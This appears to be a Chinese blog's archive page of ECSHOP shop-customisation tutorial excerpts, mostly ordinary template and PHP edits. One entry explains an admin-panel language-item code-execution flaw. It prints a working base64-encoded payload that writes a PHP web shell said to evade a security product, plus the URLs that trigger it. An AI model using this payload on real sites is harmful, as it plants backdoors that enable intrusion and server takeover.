分类归档

网站开发

FWQ
网站开发
ECSHOP商品列表页加上输入购买数量
我们在使用ecshop的时候,特别是批发站。很多时候不能在ecshop商品列表页输入购买数量,是非常不方便的。现在如果一次性购买好几个商品,十分的不方便,只有在ecshop的商品详细页面才能输入。那些做批发的ecshop站,对这个要求很严格。   最好的状况下。就是在ecshop里面控制每个商品的最小购买数量。但是这个很多时候还是不方便的。让客户每次点购买的时候,就进入了默认的购买数量。当我们考虑开发出ecshop列表页购买数量输入框插件,就可以彻底的完全解决这个问题。 按照我们提供的步骤操作,最终效果截图如下: 1、在ECSHOP列表页的lbi文件中增加以下代码。如果你使用的是官方默认模板,那就是/themes/default/library/goods_list.lbi文件,找到商品价钱代码三处添加如下代码 数量:<a style="cursor:pointer" onclick="goods_cut({$goods.goods_id});">-</a><input class="txt-prodcount" id="number_{$goods.goods_id}" type="text" onblur="changePrice();" value="1" onfocus="if(value=='1') {value=''}" size="2" maxlength="5" /><a style="cursor:pointer" onclick="goods_add({$goods.goods_id});">+</a><br> 接着搜索如下代码: <pre class="prettyprint lang-php">&lt;form name="compareForm" action="compare.php" method="post" onSubmit="return compareGoods(this);"&gt;</pre>…
2025-04-24 阅读全文 →
FWQ
网站开发
优化ecshop商城用户评论体验效果
ecshop评论优化后结果展示: 具体操作如下:    一、修改/admin/comment_manage.php    $smarty->assign(‘admin_info’,   $admin_info); //管理员信息   替换为:   $smarty->assign(‘user_name’,   $comment_info[‘user_name’]); //评论者用户名 $smarty->assign(‘user_email’,   $comment_info[’email’]); //评论者邮箱    删除一下语句:   $sql = “SELECT user_name, email FROM…
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop后台商品列表加个分页可指定调转功能
      EC的后台列表页数太多,没有显示全部,希望能加一个可以跳到任意页面的功能,稍微看了一下,发现其实很简单,只要在page.htm里面加上如下代码就可以了。   去第<input type="text" id="goo" size="3" name="goo"/>页  <input type="button" value="GO" onclick="listTable.gotoPage(document.getElementById('goo').value)" />          因为EC的后台分页公用的一个page.htm,所以这个写法在所有列表都可以实现跳到任意页面的功能。
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop数据库Mysql升级到MariaDB前台后台中文乱码
ecshop数据库Mysql升级到MariaDB前台后台中文乱码,原因是服务器的数据库版本由Mysql升级到MariaDB,数据库版本太高的原因导致乱码问题。 解决方法打开/includes/cls_mysql.php文件,搜索找到如下代码: $this->version = mysql_get_server_info($this->link_id); 将代码修改成如下 $this->version = substr(mysql_get_server_info($this->link_id), 0, 4);
2025-04-24 阅读全文 →
FWQ
网站开发
让ecshop顺丰快递支持货到付款的办法
 现在很多物流都支持货到付款了。 然而 ecshop是否支持货到付款方面,却没有能做到直接后台就可以修改。 这时候我们需要手工进行处理了。   第一步:找到“includes\modules\shipping\sf_express.php”,用DW或记事本打开它。 第二步:找到第46行“$modules[$i][‘cod’]     = false;”,把它修改为“$modules[$i][‘cod’]     = true;”,然后上传到空间覆盖原来的文件。   第三步:登录网站管理后台,选择“系统配置”—“配送方式”。                 如果此时你的“顺丰快递”配送方式已经安装,需要卸载了然后再重新安装, 如果尚未安装,直接点击安装就可以了。
2025-04-24 阅读全文 →
FWQ
网站开发
Ecshop首页中"所有商品分类"的自动隐藏功能
在ecshop做的一个网站中,首页的所有商品分类挡住了后面的首页滚动广告,希望能够鼠标放上去,显示,不放上去,就自动隐藏。 这个功能,看起来很容易,原本以为,几分钟的事情。结果做起来,发现还经历了一些小曲折。最终实现效果如下。 左侧为鼠标没放上去的时候,菜单自动隐藏。右侧为鼠标放上去后,菜单自动显示。 事件从 onclick修改为onMouseOver,onMouseOut即可。 这样完成后,感觉大功告成了,结果一试验,发现还有问题。这样做,只是把菜单中的第一条隐藏了。其他的还一直在显示。随后,对js中的sw_navTest进行了改造。终于搞定。 现在仍有一个疑问。即,虽然实现了,但是并不明白原理。 最终实现结果如下。 在category_tree_index.lbi 文件中进行修改。 在<script type=”text/javascript”></script>之间再增加一个js函数。 我命名为sw_navTest(),大家可以根据要求自己来定。函数内容如下:   function sw_navTest(obj)   {   var a = document.getElementsByName(obj);     var num=0;    …
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop后台语言项执行漏洞详解
该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门。 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索“用户信息” 为什么要搜索“用户信息”,还可以搜索其它的吗? 答案是搜索languages\zh_cn\user.php文件里任何一个变量都可以 2.添加如下后门,将用户信息改为 用户信息${${fputs(fopen(base64_decode(Sm95Q2hvdS5waHA),w),base64_decode(PD9waHAKYXNzZXJ0KAokX1BPU1RbeF0KKTsKPz4))}} 即生成一个JoyChou.php文件,内容为(可以过安全狗的一句话哦): <?php assert( $_POST[x] ); ?> 3.访问user.php即可产生shell(不用注册登录账户) http://localhost/ECShop_V2.7.3_UTF8_release0411/user.php 或 http://localhost/ECShop_V2.7.3_UTF8_release0411/languages/zh_cn/user.php
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop注册页面添加推荐人验证功能
实现ecshop注册页有推荐人功能,主要修改4个页面     思路,就是复制  用户名input的功能给推荐人就行了  不用改底层     1.前台模板   user_passport.dwt     2.js(jquery实现的)文件     user.js     3.前台       user.php     4.             lib_passport.php   1首先在用户注册模板中的相关位置添加    推荐人input  html属性  <!–邮箱–>                 <div class=”inputbg”>                    <label class=”labelbox”>                      …
2025-04-24 阅读全文 →
FWQ
网站开发
ecshop详细页不同级别客户看到不同价格(只改模
ecshop详细页不同级别客户看到不同价格(只改模板) 模板文件:goods.dwt 找到如下代码:        <!– {foreach from=$rank_prices item=rank_price key=key} 会员等级对应的价格–>        <strong>{$rank_price.rank_name}:</strong><font class=”shop” id=”ECS_RANKPRICE_{$key}”>{$rank_price.price}</font><br />        <!–{/foreach}–> 改为        <!– {foreach from=$rank_prices item=rank_price key=key} 会员等级对应的价格–>        <!– {if…
2025-04-24 阅读全文 →